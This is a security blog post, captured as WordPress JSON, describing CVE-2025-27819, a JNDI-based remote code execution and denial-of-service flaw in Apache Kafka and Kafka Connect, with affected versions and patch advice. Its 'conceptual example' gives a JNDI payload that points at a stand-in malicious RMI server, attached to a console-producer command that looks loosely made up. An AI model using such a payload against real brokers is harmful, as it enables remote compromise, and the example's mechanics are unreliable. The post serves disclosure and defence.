{"id":86467,"date":"2026-02-15T01:22:14","date_gmt":"2026-02-15T01:22:14","guid":{"rendered":""},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-30T00:00:00","slug":"cve-2025-27819-critical-rce-denial-of-service-attack-via-sasl-jaas-jndiloginmodule-configuration-in-kafka-connect-api-and-apache-kafka-brokers","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-27819-critical-rce-denial-of-service-attack-via-sasl-jaas-jndiloginmodule-configuration-in-kafka-connect-api-and-apache-kafka-brokers\/","title":{"rendered":"CVE-2025-27819: Critical RCE\/Denial of Service Attack via SASL JAAS JndiLoginModule Configuration in Kafka Connect API and Apache Kafka Brokers<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

This report presents a critical vulnerability, CVE-2025-27819, that affects the Kafka Connect API and Apache Kafka brokers. This vulnerability allows for Remote Code Execution (RCE) and Denial of Service attacks, posing a severe threat to system integrity and data security. It is of paramount importance due to its potential for system compromise or data leakage.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-27819
\nSeverity: High, with a CVSS score of 7.5
\nAttack Vector: Network
\nPrivileges Required: High (AlterConfigs permission on the cluster resource)
\nUser Interaction: None
\nImpact: Potential system compromise or data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Kafka Connect API | All versions prior to 3.4.0
\nApache Kafka | All versions prior to 3.4.0<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The vulnerability resides in the SASL JAAS JndiLoginModule configuration of both the Kafka Connect API and Apache Kafka brokers. An attacker with AlterConfigs permission on the cluster resource can exploit this vulnerability by sending a specially crafted request to connect to the Kafka cluster. Successful exploitation could lead to remote code execution or denial of service attack, potentially compromising the system or leading to data leakage.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Below is a conceptual example of how this vulnerability might be exploited:<\/p>\n

kafka-console-producer --broker-list target.kafka.broker:9092 --topic test --producer.config=\/path\/to\/alterConfigs_permission_config\n# After gaining access\n{ \"type\": \"JNDI\", \"value\": \"rmi:\/\/malicious.server\/malicious\" }<\/code><\/pre>\n
In this example, the attacker uses the `kafka-console-producer` command with the `–producer.config` option pointing to a configuration file with AlterConfigs permission to connect to the Kafka cluster. Once connected, they send a malicious payload that exploits the JndiLoginModule vulnerability.<\/p>\n
Mitigation Guidance<\/strong><\/p>\n
It is recommended to apply the vendor patch immediately. For Apache Kafka, upgrade to version 3.4.0 or later where the problematic login modules usage in SASL JAAS configuration is disabled. In the interim, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation.<\/p>\n","protected":false},"excerpt":{"rendered":"
Overview This report presents a critical vulnerability, CVE-2025-27819, that affects the Kafka Connect API and Apache Kafka brokers. This vulnerability allows for Remote Code Execution (RCE) and Denial of Service attacks, posing a severe threat to system integrity and data security. It is of paramount importance due to its potential for system compromise or data […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-86467","post","type-post","status-publish","format-standard","hentry"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t